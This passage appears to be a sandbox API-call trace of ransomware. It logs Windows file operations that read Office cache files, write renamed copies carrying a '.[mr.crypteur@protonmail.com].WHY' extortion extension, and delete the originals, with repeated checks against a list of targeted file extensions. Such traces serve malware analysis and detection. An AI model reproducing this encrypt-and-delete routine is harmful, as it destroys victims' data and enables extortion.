lpNumberOfBytesRead=0x28ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0064.011] WriteFile (in: hFile=0x200, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0064.013] ReadFile (in: hFile=0x1c8, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0064.014] WriteFile (in: hFile=0x200, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0064.014] SetEndOfFile (hFile=0x200) returned 1 [0064.014] CloseHandle (hObject=0x200) returned 1 [0064.018] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.018] SetEndOfFile (hFile=0x1c8) returned 1 [0064.020] CloseHandle (hObject=0x1c8) returned 1 [0064.021] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.021] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0064.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.022] lstrlenW (lpString=".doc") returned 4 [0064.022] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.022] lstrlenW (lpString=".docx") returned 5 [0064.022] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.022] lstrlenW (lpString=".pdf") returned 4 [0064.022] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.022] lstrlenW (lpString=".xls") returned 4 [0064.022] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.022] lstrlenW (lpString=".xlsx") returned 5 [0064.022] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.023] lstrlenW (lpString=".ppt") returned 4 [0064.023] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.023] lstrlenW (lpString=".zip") returned 4 [0064.023] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.023] lstrlenW (lpString=".rar") returned 4 [0064.023] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.023] lstrlenW (lpString=".bz2") returned 4 [0064.023] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.023] lstrlenW (lpString=".7z") returned 3 [0064.023] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.023] lstrlenW (lpString=".dbf") returned 4 [0064.023] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.023] lstrlenW (lpString=".1cd") returned 4 [0064.023] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.024] lstrlenW (lpString=".jpg") returned 4 [0064.024] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.024] lstrlenW (lpString=".doc") returned 4 [0064.024] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.024] lstrlenW (lpString=".docx") returned 5 [0064.024] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.024] lstrlenW (lpString=".pdf") returned 4 [0064.024] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.024] lstrlenW (lpString=".xls") returned 4 [0064.024] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.025] lstrlenW (lpString=".xlsx") returned 5 [0064.025] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.025] lstrlenW (lpString=".ppt") returned 4 [0064.025] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.025] lstrlenW (lpString=".zip") returned 4 [0064.025] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.025] lstrlenW (lpString=".rar") returned 4 [0064.025] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.025] lstrlenW (lpString=".bz2") returned 4 [0064.025] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.025] lstrlenW (lpString=".7z") returned 3 [0064.025] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.026] lstrlenW (lpString=".dbf") returned 4 [0064.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.026] lstrlenW (lpString=".1cd") returned 4 [0064.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.026] lstrlenW (lpString=".jpg") returned 4 [0064.026] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.027] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0064.027] lstrlenW (lpString="branding.xml") returned 12 [0064.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0064.029] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=596341) returned 1 [0064.029] CloseHandle (hObject=0x1c8) returned 1 [0064.029] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0064.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0064.030] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.030] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.031] GetLastError () returned 0x0 [0064.031] ReadFile (in: hFile=0x1c8, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x91975, lpOverlapped=0x0) returned 1 [0064.369] WriteFile (in: hFile=0x200, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x91980, lpOverlapped=0x0) returned 1 [0065.277] ReadFile (in: hFile=0x1c8, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0065.278] WriteFile (in: hFile=0x200, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.278] SetEndOfFile (hFile=0x200) returned 1 [0065.278] CloseHandle (hObject=0x200) returned 1 [0065.777] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.777] SetEndOfFile (hFile=0x1c8) returned 1 [0065.795] CloseHandle (hObject=0x1c8) returned 1 [0065.796] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.796] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0065.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.797] lstrlenW (lpString=".doc") returned 4 [0065.797] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.797] lstrlenW (lpString=".docx") returned 5 [0065.797] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0065.797] lstrlenW (lpString=".pdf") returned 4 [0065.797] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.797] lstrlenW (lpString=".xls") returned 4 [0065.798] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".xlsx") returned 5 [0065.798] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0065.798] lstrlenW (lpString=".ppt") returned 4 [0065.798] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.798] lstrlenW (lpString=".zip") returned 4 [0065.798] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.798] lstrlenW (lpString=".rar") returned 4 [0065.798] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".bz2") returned 4 [0065.798] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".7z") returned 3 [0065.799] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.799] lstrlenW (lpString=".dbf") returned 4 [0065.799] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.799] lstrlenW (lpString=".1cd") returned 4 [0065.799] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.799] lstrlenW (lpString=".jpg") returned 4 [0065.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.799] lstrlenW (lpString=".doc") returned 4 [0065.800] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.800] lstrlenW (lpString=".docx") returned 5 [0065.800] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0065.800] lstrlenW (lpString=".pdf") returned 4 [0065.800] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.800] lstrlenW (lpString=".xls") returned 4 [0065.800] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.800] lstrlenW (lpString=".xlsx") returned 5 [0065.800] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0065.800] lstrlenW (lpString=".ppt") returned 4 [0065.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.800] lstrlenW (lpString=".zip") returned 4 [0065.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.800] lstrlenW (lpString=".rar") returned 4 [0065.801] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.801] lstrlenW (lpString=".bz2") returned 4 [0065.801] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.801] lstrlenW (lpString=".7z") returned 3 [0065.801] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.801] lstrlenW (lpString=".dbf") returned 4 [0065.801] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.801] lstrlenW (lpString=".1cd") returned 4 [0065.801] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0065.801] lstrlenW (lpString=".jpg") returned 4 [0065.801] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.802] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.802] lstrlenW (lpString="Office32WW.xml") returned 14 [0065.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0066.331] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=4274) returned 1 [0066.331] CloseHandle (hObject=0x200) returned 1 [0066.331] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0066.332] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0066.332] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0066.332] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.332] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.332] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.333] GetLastError () returned 0x0 [0066.333] ReadFile (in: hFile=0x200, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0066.346] WriteFile (in: hFile=0x1e4, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0066.350] ReadFile (in: hFile=0x200, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0066.350] WriteFile (in: hFile=0x1e4, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0066.350] SetEndOfFile (hFile=0x1e4) returned 1 [0066.351] CloseHandle (hObject=0x1e4) returned 1 [0066.352] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.352] SetEndOfFile (hFile=0x200) returned 1 [0066.355] CloseHandle (hObject=0x200) returned 1 [0066.355] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0066.356] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0066.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.357] lstrlenW (lpString=".doc") returned 4 [0066.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.357] lstrlenW (lpString=".docx") returned 5 [0066.357] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.357] lstrlenW (lpString=".pdf") returned 4 [0066.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.357] lstrlenW (lpString=".xls") returned 4 [0066.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.357] lstrlenW (lpString=".xlsx") returned 5 [0066.357] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.357] lstrlenW (lpString=".ppt") returned 4 [0066.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.358] lstrlenW (lpString=".zip") returned 4 [0066.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.358] lstrlenW (lpString=".rar") returned 4 [0066.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.358] lstrlenW (lpString=".bz2") returned 4 [0066.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.358] lstrlenW (lpString=".7z") returned 3 [0066.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.358] lstrlenW (lpString=".dbf") returned 4 [0066.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.358] lstrlenW (lpString=".1cd") returned 4 [0066.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.359] lstrlenW (lpString=".jpg") returned 4 [0066.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.359] lstrlenW (lpString=".doc") returned 4 [0066.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.359] lstrlenW (lpString=".docx") returned 5 [0066.359] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.359] lstrlenW (lpString=".pdf") returned 4 [0066.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.359] lstrlenW (lpString=".xls") returned 4 [0066.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.360] lstrlenW (lpString=".xlsx") returned 5 [0066.360] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.360] lstrlenW (lpString=".ppt") returned 4 [0066.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.360] lstrlenW (lpString=".zip") returned 4 [0066.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.360] lstrlenW (lpString=".rar") returned 4 [0066.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.360] lstrlenW (lpString=".bz2") returned 4 [0066.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.360] lstrlenW (lpString=".7z") returned 3 [0066.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.361] lstrlenW (lpString=".dbf") returned 4 [0066.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.361] lstrlenW (lpString=".1cd") returned 4 [0066.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.361] lstrlenW (lpString=".jpg") returned 4 [0066.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.362] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0066.362] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0066.362] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0066.364] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=6421) returned 1 [0066.364] CloseHandle (hObject=0x200) returned 1 [0066.364] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0066.364] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0066.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0066.813] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.813] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 